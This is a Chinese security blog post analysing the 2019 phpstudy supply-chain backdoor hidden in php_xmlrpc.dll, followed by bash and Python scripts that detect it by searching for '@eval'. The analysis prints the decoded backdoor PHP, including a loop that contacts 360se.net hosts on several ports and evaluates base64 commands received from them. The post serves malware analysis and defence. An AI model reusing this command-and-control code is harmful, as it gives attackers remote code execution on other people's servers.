专栏首页ChaMd5安全团队phpstudy后门文件分析以及检测脚本

phpstudy后门文件分析以及检测脚本

2019.9.20得知非官网的一些下载站中的phpstudy版本存在后门文件,基于研究的目的,于是有了以下这文。

从某些下载站随便下载一些phpstudy,在虚拟机中解压,着重看PHPTutorial\php文件夹下各个dll文件,自己分析不同版本的dll文件,发现在5.4左右版本的php_xmlrpc.dll存在问题。

逆向分析

在天河师傅的协助下,使用IDA Pro x86对php_xmlrpc.dll进行逆向分析。dll中存在对本地计算机信息进行收集的代码。并且在字符串中可以很清楚的看到@eval字样。

这里拼接了一个 @eval(gzuncompress('%s'));的代码 ,明显是调用gzuncompress方法解密执行某些代码,没解密前的代码来自asc_1000D028 到unk_1000D66C这个部分,拼接好的字符串放在v42处

zend_eval_string处执行v42处执行的代码,我们把数据提取出来,并进行处理,并且经过php的gzuncompress解码,得到以下

@ini_set("display_errors","0");
error_reporting(0);
$h = $_SERVER['HTTP_HOST'];
$p = $_SERVER['SERVER_PORT'];
$fp = fsockopen($h, $p, $errno, $errstr, 5);
if (!$fp) {
} else {
    $out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";
    $out .= "Host: {$h}\r\n";
    $out .= "Accept-Encoding: compress,gzip\r\n";
    $out .= "Connection: Close\r\n\r\n";

    fwrite($fp, $out);
    fclose($fp);
}

在从1000D66C到1000E5C4之间还有一段数据,继续处理后得到以下

@ini_set("display_errors","0");
error_reporting(0);
function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){
    $result = "";
  $handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10); 
  if( !$handle ){
    $handle = fsockopen($ip, intval($port), $errno, $errstr, 5);
    if( !$handle ){
        return "err";
    }
  }
  fwrite($handle, $sendMsg."\n");
    while(!feof($handle)){
        stream_set_timeout($handle, 2);
        $result .= fread($handle, 1024);
        $info = stream_get_meta_data($handle);
        if ($info['timed_out']) {
          break;
        }
     }
  fclose($handle); 
  return $result; 
}

$ds = array("www","bbs","cms","down","up","file","ftp");
$ps = array("20123","40125","8080","80","53");
$n = false;
do {
    $n = false;
    foreach ($ds as $d){
        $b = false;
        foreach ($ps as $p){
            $result = tcpGet($i,$d.".360se.net",$p); 
            if ($result != "err"){
                $b =true;
                break;
            }
        }
        if ($b)break;
    }
    $info = explode("<^>",$result);
    if (count($info)==4){
        if (strpos($info[3],"/*Onemore*/") !== false){
            $info[3] = str_replace("/*Onemore*/","",$info[3]);
            $n=true;
        }
        @eval(base64_decode($info[3]));
    }
}while($n);

分析到此就可以结束。这个后门估计早就已经失效了。

检测脚本

以下是我编写的pcheck.sh文件,运行后可以递归检测当前目录下所有dll文件中是否包含木马文件的特征值。

#! /bin/bash
# author: pcat@chamd5.org
# http://pcat.cc

# trojan feature
trojan=@eval

function check_dir(){
    for file in `ls $1`
    do
        f2=$1"/"$file
        if [ -d $f2 ]
        then
            check_dir $f2
        # just check dll file
        elif [ "${file##*.}"x = "dll"x ]
        then
            strings $f2 |grep -q $trojan
            if [ $? == 0 ]
            then
                echo "===" $f2 "===="
                strings $f2 |grep $trojan
            fi
        fi
    done
}
# . stand for current directory
check_dir .

由于考虑到是windows版本,我再编写了个pcheck.py文件,代码模拟了strings和grep命令。

# -*- coding:utf8 -*-
__author__='pcat@chamd5.org'
__blog__='http://pcat.cc'

import os
import string
import re


def strings(file) :
    chars = string.printable[:94]
    shortestReturnChar = 4
    regExp = '[%s]{%d,}' % (chars, shortestReturnChar)
    pattern = re.compile(regExp)
    with open(file, 'rb') as f:
        return pattern.findall(f.read())


def grep(lines,pattern):
    for line in lines:
        if pattern in line:
            yield line


def pcheck(filename):
    # trojan feature
    trojan='@eval'
    # just check dll file
    if filename.endswith('.dll'):        
        lines=strings(filename)
        try:
            grep(lines,trojan).next()
        except:
            return
        print '=== {0} ==='.format(filename)
        for line in grep(lines,trojan):
            print line
    pass


def foo():
    # . stand for current directory
    for path, dirs, files in os.walk(".", topdown=False):
        for name in files:
            pcheck(os.path.join(path, name))
        for name in dirs:
            pcheck(os.path.join(path, name))
    pass


if __name__ == '__main__':
    foo()

结束语

大家下载程序的时候,最好是从官网上下载。如果遇到不明文件,要么不运行,要么先在虚拟机上运行。增强网络安全意识,为网络安全出一份力量。




招新小广告

ChaMd5 ctf组 长期招新

尤其是crypto+reverse+pwn+合约的大佬

欢迎联系admin@chamd5.org

本文分享自微信公众号 - ChaMd5安全团队(chamd5sec),作者:pcat

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-09-21

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 【安全】某盘信息公开泄露了咋么办?

    4)其他:一些有时效性的数据可以考虑“时效性”,因为网盘信息泄露的利用难度和复现难度都非常低,即风险都特别高,所以可能带来的PR影响有可能更需要考虑在内。

    ChaMd5安全团队
  • 2019红帽杯 writeup

    可以rce,在博客上找到的⼀条5.2.0的链,phar反序列化,上传phar.xml(改后缀),然后xxe⽤

    ChaMd5安全团队
  • 一次XSS突破的探险

    现在一些网站表面上很多地方都没有漏洞,包括xss也过滤的很干净,那我们还能突破重围,挖掘到漏洞吗? 我们经常遇到这种信息保存的地方,它经常进行xss的过滤,是不...

    ChaMd5安全团队
  • 【行业】Fontcode算法可以找出隐藏在正常文本中的秘密消息

    AiTechYun 编辑:nanan ? 无论是将秘密隐藏在信件的邮票下面还是用隐形墨水书写,人们总能找到一些巧妙的方法,利用他们懂得的技术来编写秘密信息。哥伦...

    AiTechYun
  • Java 8:1行为参数化

    行为参数化本质上是一块代码并使其可用而不执行它。例如,它可以传递给方法。由于Java 8引入了lambdas(最后),现在可以使用匿名函数来参数化方法的行为。如...

    Java架构师历程
  • Rxjava2-小白入门(二)

    上篇文章我们主要讲解了观察者模式。那么这节课我们主要讲解Rxjava2的基本使用和操作符。其实网上的关于Rxjava2的优秀文章有很多对我来说都是受益匪浅。可能...

    g小志
  • 圣诞快乐——Keras+树莓派:用深度学习识别圣诞老人

    机器之心
  • Servlet技术 【第二篇】入门还没有放弃

    request是Servlet.service()方法的一个参数,在客户端发出每个请求时,服务器都会创建一个request对象,并把请求数据封装到request...

    BWH_Steven
  • 关于MySQL学习大纲(r5笔记第26天)

    首先需要自我反省,因为自己圈内朋友中MySQL大牛太多,自己就先班门弄斧了,莫见怪:) 前段时间很荣幸通过了YEP(Young Expert Program)的...

    jeanron100
  • PHP 学习筆記[2] —— 自学PHP 笔记整理

    版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/u011415782/article/de...

    用户3056046

扫码关注云+社区

领取腾讯云代金券